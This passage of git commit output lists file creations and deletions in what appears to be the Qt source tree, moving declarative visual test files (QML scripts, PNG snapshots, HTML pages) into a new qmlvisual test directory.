tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.5.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.6.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.7.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.8.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.5.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.6.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.5.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.6.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.7.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.8.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.5.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.6.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/qt-669.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/wrap.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/cursorDelegate.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.5.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.6.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.7.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.8.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/hAlign.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/hAlign.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.5.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.6.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.7.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.8.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.1.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.2.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.3.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.4.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/hAlign.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/hAlign.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/echoMode.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextinput/hAlign.qml create mode 100644 tests/auto/declarative/qmlvisual/qfxwebview/autosize/autosize.qml create mode 100644 tests/auto/declarative/qmlvisual/qfxwebview/autosize/data-X11/autosize.0.png create mode 100644 tests/auto/declarative/qmlvisual/qfxwebview/autosize/data-X11/autosize.qml create mode 100644 tests/auto/declarative/qmlvisual/qfxwebview/autosize/data/autosize.0.png create mode 100644 tests/auto/declarative/qmlvisual/qfxwebview/autosize/data/autosize.qml create mode 100644 tests/auto/declarative/qmlvisual/rect/GradientRect.qml create mode 100644 tests/auto/declarative/qmlvisual/rect/MyRect.qml create mode 100644 tests/auto/declarative/qmlvisual/rect/data/rect-painting.0.png create mode 100644 tests/auto/declarative/qmlvisual/rect/data/rect-painting.qml create mode 100644 tests/auto/declarative/qmlvisual/rect/rect-painting.qml create mode 100644 tests/auto/declarative/qmlvisual/repeater/basic1.qml create mode 100644 tests/auto/declarative/qmlvisual/repeater/basic2.qml create mode 100644 tests/auto/declarative/qmlvisual/repeater/basic3.qml create mode 100644 tests/auto/declarative/qmlvisual/repeater/basic4.qml create mode 100644 tests/auto/declarative/qmlvisual/repeater/data-MAC/basic1.0.png create mode 100644 tests/auto/declarative/qmlvisual/repeater/data-MAC/basic1.qml create mode 100644 tests/auto/declarative/qmlvisual/repeater/data-MAC/basic2.0.png create mode 100644 tests/auto/declarative/qmlvisual/repeater/data-MAC/basic2.qml create mode 100644 tests/auto/declarative/qmlvisual/repeater/data-MAC/basic3.0.png create mode 100644 tests/auto/declarative/qmlvisual/repeater/data-MAC/basic3.qml create mode 100644 tests/auto/declarative/qmlvisual/repeater/data-MAC/basic4.0.png create mode 100644 tests/auto/declarative/qmlvisual/repeater/data-MAC/basic4.qml create mode 100644 tests/auto/declarative/qmlvisual/repeater/data-X11/basic1.0.png create mode 100644 tests/auto/declarative/qmlvisual/repeater/data-X11/basic1.qml create mode 100644 tests/auto/declarative/qmlvisual/repeater/data-X11/basic2.0.png create mode 100644 tests/auto/declarative/qmlvisual/repeater/data-X11/basic2.qml create mode 100644 tests/auto/declarative/qmlvisual/repeater/data-X11/basic3.0.png create mode 100644 tests/auto/declarative/qmlvisual/repeater/data-X11/basic3.qml create mode 100644 tests/auto/declarative/qmlvisual/repeater/data-X11/basic4.0.png create mode 100644 tests/auto/declarative/qmlvisual/repeater/data-X11/basic4.qml create mode 100644 tests/auto/declarative/qmlvisual/repeater/data/basic1.0.png create mode 100644 tests/auto/declarative/qmlvisual/repeater/data/basic1.qml create mode 100644 tests/auto/declarative/qmlvisual/repeater/data/basic2.0.png create mode 100644 tests/auto/declarative/qmlvisual/repeater/data/basic2.qml create mode 100644 tests/auto/declarative/qmlvisual/repeater/data/basic3.0.png create mode 100644 tests/auto/declarative/qmlvisual/repeater/data/basic3.qml create mode 100644 tests/auto/declarative/qmlvisual/repeater/data/basic4.0.png create mode 100644 tests/auto/declarative/qmlvisual/repeater/data/basic4.qml create mode 100644 tests/auto/declarative/qmlvisual/selftest_noimages/data/selftest_noimages.qml create mode 100644 tests/auto/declarative/qmlvisual/selftest_noimages/selftest_noimages.qml create mode 100644 tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp create mode 100644 tests/auto/declarative/qmlvisual/webview/embedding/data/nesting.0.png create mode 100644 tests/auto/declarative/qmlvisual/webview/embedding/data/nesting.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/embedding/egg.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/embedding/nesting.html create mode 100644 tests/auto/declarative/qmlvisual/webview/embedding/nesting.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.0.png create mode 100644 tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.1.png create mode 100644 tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.2.png create mode 100644 tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.3.png create mode 100644 tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.4.png create mode 100644 tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.5.png create mode 100644 tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.6.png create mode 100644 tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.7.png create mode 100644 tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.8.png create mode 100644 tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.0.png create mode 100644 tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.1.png create mode 100644 tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.2.png create mode 100644 tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.3.png create mode 100644 tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.4.png create mode 100644 tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/javascript/evaluateJavaScript.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/javascript/test-objects.html create mode 100644 tests/auto/declarative/qmlvisual/webview/javascript/windowObjects.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/settings/data/fontFamily.0.png create mode 100644 tests/auto/declarative/qmlvisual/webview/settings/data/fontFamily.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/settings/data/fontSize.0.png create mode 100644 tests/auto/declarative/qmlvisual/webview/settings/data/fontSize.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.0.png create mode 100644 tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.1.png create mode 100644 tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/settings/data/setFontFamily.0.png create mode 100644 tests/auto/declarative/qmlvisual/webview/settings/data/setFontFamily.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/settings/fontFamily.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/settings/fontSize.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/settings/noAutoLoadImages.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/settings/qtlogo.png create mode 100644 tests/auto/declarative/qmlvisual/webview/settings/setFontFamily.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/settings/tarzeau_ocr_a.ttf create mode 100644 tests/auto/declarative/qmlvisual/webview/settings/test-img.html create mode 100644 tests/auto/declarative/qmlvisual/webview/settings/test.html create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/data/pageWidth.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/data/renderControl.0.png create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/data/renderControl.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.0.png create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.1.png create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.2.png create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.3.png create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.4.png create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.0.png create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.1.png create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.0.png create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.1.png create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.2.png create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.3.png create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/pageWidth.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/qtlogo.png create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/renderControl.html create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/renderControl.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/resolution.html create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/resolution.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/zoomTextOnly.html create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/zoomTextOnly.qml create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/zooming.html create mode 100644 tests/auto/declarative/qmlvisual/webview/zooming/zooming.qml delete mode 100644 tests/auto/declarative/visual/ListView/basic1.qml delete mode 100644 tests/auto/declarative/visual/ListView/basic2.qml delete mode 100644 tests/auto/declarative/visual/ListView/basic3.qml delete mode 100644 tests/auto/declarative/visual/ListView/basic4.qml delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/basic1.qml delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/basic2.qml delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/basic3.qml delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/basic4.qml delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/itemlist.0.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/itemlist.1.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/itemlist.2.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/itemlist.3.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/itemlist.4.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/itemlist.5.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/itemlist.6.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/itemlist.qml delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/listview.0.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/listview.1.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/listview.10.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/listview.11.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/listview.12.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/listview.13.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/listview.14.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/listview.15.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/listview.16.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/listview.17.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/listview.18.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/listview.19.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/listview.2.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/listview.3.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/listview.4.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/listview.5.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/listview.6.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/listview.7.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/listview.8.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/listview.9.png delete mode 100644 tests/auto/declarative/visual/ListView/data-MAC/listview.qml delete mode 100644 tests/auto/declarative/visual/ListView/data-X11/basic1.qml delete mode 100644 tests/auto/declarative/visual/ListView/data-X11/basic2.qml delete mode 100644 tests/auto/declarative/visual/ListView/data-X11/basic3.qml delete mode 100644 tests/auto/declarative/visual/ListView/data-X11/basic4.qml delete mode 100644 tests/auto/declarative/visual/ListView/data/basic1.qml delete mode 100644 tests/auto/declarative/visual/ListView/data/basic2.qml delete mode 100644 tests/auto/declarative/visual/ListView/data/basic3.qml delete mode 100644 tests/auto/declarative/visual/ListView/data/basic4.qml delete mode 100644 tests/auto/declarative/visual/ListView/data/itemlist.0.png delete mode 100644 tests/auto/declarative/visual/ListView/data/itemlist.1.png delete mode 100644 tests/auto/declarative/visual/ListView/data/itemlist.2.png delete mode 100644 tests/auto/declarative/visual/ListView/data/itemlist.3.png delete mode 100644 tests/auto/declarative/visual/ListView/data/itemlist.4.png delete mode 100644 tests/auto/declarative/visual/ListView/data/itemlist.5.png delete mode 100644 tests/auto/declarative/visual/ListView/data/itemlist.6.png delete mode 100644 tests/auto/declarative/visual/ListView/data/itemlist.qml delete mode 100644 tests/auto/declarative/visual/ListView/data/listview.0.png delete mode 100644 tests/auto/declarative/visual/ListView/data/listview.1.png delete mode 100644 tests/auto/declarative/visual/ListView/data/listview.10.png delete mode 100644 tests/auto/declarative/visual/ListView/data/listview.11.png delete mode 100644 tests/auto/declarative/visual/ListView/data/listview.12.png delete mode 100644 tests/auto/declarative/visual/ListView/data/listview.13.png delete mode 100644 tests/auto/declarative/visual/ListView/data/listview.14.png delete mode 100644 tests/auto/declarative/visual/ListView/data/listview.15.png delete mode 100644 tests/auto/declarative/visual/ListView/data/listview.16.png delete mode 100644 tests/auto/declarative/visual/ListView/data/listview.17.png delete mode 100644 tests/auto/declarative/visual/ListView/data/listview.18.png delete mode 100644 tests/auto/declarative/visual/ListView/data/listview.19.png delete mode 100644 tests/auto/declarative/visual/ListView/data/listview.2.png delete mode 100644 tests/auto/declarative/visual/ListView/data/listview.3.png delete mode 100644 tests/auto/declarative/visual/ListView/data/listview.4.png delete mode 100644 tests/auto/declarative/visual/ListView/data/listview.5.png delete mode 100644 tests/auto/declarative/visual/ListView/data/listview.6.png delete mode 100644 tests/auto/declarative/visual/ListView/data/listview.7.png delete mode 100644 tests/auto/declarative/visual/ListView/data/listview.8.png delete mode 100644 tests/auto/declarative/visual/ListView/data/listview.9.png delete mode 100644 tests/auto/declarative/visual/ListView/data/listview.qml delete mode 100644 tests/auto/declarative/visual/ListView/itemlist.qml delete mode 100644 tests/auto/declarative/visual/ListView/listview.qml delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.0.png delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.1.png delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.10.png delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.11.png delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.12.png delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.13.png delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.14.png delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.15.png delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.16.png delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.17.png delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.18.png delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.19.png delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.2.png delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.20.png delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.21.png delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.22.png delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.3.png delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.4.png delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.5.png delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.6.png delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.7.png delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.8.png delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.9.png delete mode 100644 tests/auto/declarative/visual/Package_Views/data/packageviews.qml delete mode 100644 tests/auto/declarative/visual/Package_Views/packageviews.qml delete mode 100644 tests/auto/declarative/visual/animation/bindinganimation/bindinganimation.qml delete mode 100644 tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.0.png delete mode 100644 tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.1.png delete mode 100644 tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.2.png delete mode 100644 tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.3.png delete mode 100644 tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.4.png delete mode 100644 tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.5.png delete mode 100644 tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.6.png delete mode 100644 tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.qml delete mode 100644 tests/auto/declarative/visual/animation/colorAnimation/colorAnimation.qml delete mode 100644 tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.0.png delete mode 100644 tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.1.png delete mode 100644 tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.2.png delete mode 100644 tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.qml delete mode 100644 tests/auto/declarative/visual/animation/easing/data/easing.0.png delete mode 100644 tests/auto/declarative/visual/animation/easing/data/easing.1.png delete mode 100644 tests/auto/declarative/visual/animation/easing/data/easing.2.png delete mode 100644 tests/auto/declarative/visual/animation/easing/data/easing.3.png delete mode 100644 tests/auto/declarative/visual/animation/easing/data/easing.qml delete mode 100644 tests/auto/declarative/visual/animation/easing/easing.qml delete mode 100644 tests/auto/declarative/visual/animation/easing/pics/qtlogo.png delete mode 100644 tests/auto/declarative/visual/animation/loop/data/loop.0.png delete mode 100644 tests/auto/declarative/visual/animation/loop/data/loop.1.png delete mode 100644 tests/auto/declarative/visual/animation/loop/data/loop.2.png delete mode 100644 tests/auto/declarative/visual/animation/loop/data/loop.3.png delete mode 100644 tests/auto/declarative/visual/animation/loop/data/loop.4.png delete mode 100644 tests/auto/declarative/visual/animation/loop/data/loop.5.png delete mode 100644 tests/auto/declarative/visual/animation/loop/data/loop.qml delete mode 100644 tests/auto/declarative/visual/animation/loop/loop.qml delete mode 100644 tests/auto/declarative/visual/animation/parallelAnimation/data/parallelAnimation.0.png delete mode 100644 tests/auto/declarative/visual/animation/parallelAnimation/data/parallelAnimation.1.png delete mode 100644 tests/auto/declarative/visual/animation/parallelAnimation/data/parallelAnimation.2.png delete mode 100644 tests/auto/declarative/visual/animation/parallelAnimation/data/parallelAnimation.qml delete mode 100644 tests/auto/declarative/visual/animation/parallelAnimation/parallelAnimation.qml delete mode 100644 tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.0.png delete mode 100644 tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.1.png delete mode 100644 tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.2.png delete mode 100644 tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.3.png delete mode 100644 tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.4.png delete mode 100644 tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.5.png delete mode 100644 tests/auto/declarative/visual/animation/parentAnimation/data/parentAnimation.qml delete mode 100644 tests/auto/declarative/visual/animation/parentAnimation/parentAnimation.qml delete mode 100644 tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.0.png delete mode 100644 tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.1.png delete mode 100644 tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.2.png delete mode 100644 tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.3.png delete mode 100644 tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.4.png delete mode 100644 tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.5.png delete mode 100644 tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.qml delete mode 100644 tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml delete mode 100644 tests/auto/declarative/visual/animation/pauseAnimation/pics/qtlogo.png delete mode 100644 tests/auto/declarative/visual/animation/propertyAction/data/propertyAction.0.png delete mode 100644 tests/auto/declarative/visual/animation/propertyAction/data/propertyAction.1.png delete mode 100644 tests/auto/declarative/visual/animation/propertyAction/data/propertyAction.2.png delete mode 100644 tests/auto/declarative/visual/animation/propertyAction/data/propertyAction.qml delete mode 100644 tests/auto/declarative/visual/animation/propertyAction/propertyAction.qml delete mode 100644 tests/auto/declarative/visual/animation/reanchor/data/reanchor.0.png delete mode 100644 tests/auto/declarative/visual/animation/reanchor/data/reanchor.1.png delete mode 100644 tests/auto/declarative/visual/animation/reanchor/data/reanchor.2.png delete mode 100644 tests/auto/declarative/visual/animation/reanchor/data/reanchor.3.png delete mode 100644 tests/auto/declarative/visual/animation/reanchor/data/reanchor.4.png delete mode 100644 tests/auto/declarative/visual/animation/reanchor/data/reanchor.5.png delete mode 100644 tests/auto/declarative/visual/animation/reanchor/data/reanchor.6.png delete mode 100644 tests/auto/declarative/visual/animation/reanchor/data/reanchor.7.png delete mode 100644 tests/auto/declarative/visual/animation/reanchor/data/reanchor.8.png delete mode 100644 tests/auto/declarative/visual/animation/reanchor/data/reanchor.qml delete mode 100644 tests/auto/declarative/visual/animation/reanchor/reanchor.qml delete mode 100644 tests/auto/declarative/visual/animation/scriptAction/data/scriptAction.0.png delete mode 100644 tests/auto/declarative/visual/animation/scriptAction/data/scriptAction.1.png delete mode 100644 tests/auto/declarative/visual/animation/scriptAction/data/scriptAction.qml delete mode 100644 tests/auto/declarative/visual/animation/scriptAction/scriptAction.qml delete mode 100644 tests/auto/declarative/visual/fillmode/data/fillmode.0.png delete mode 100644 tests/auto/declarative/visual/fillmode/data/fillmode.qml delete mode 100644 tests/auto/declarative/visual/fillmode/face.png delete mode 100644 tests/auto/declarative/visual/fillmode/fillmode.qml delete mode 100644 tests/auto/declarative/visual/focusscope/data-MAC/test.0.png delete mode 100644 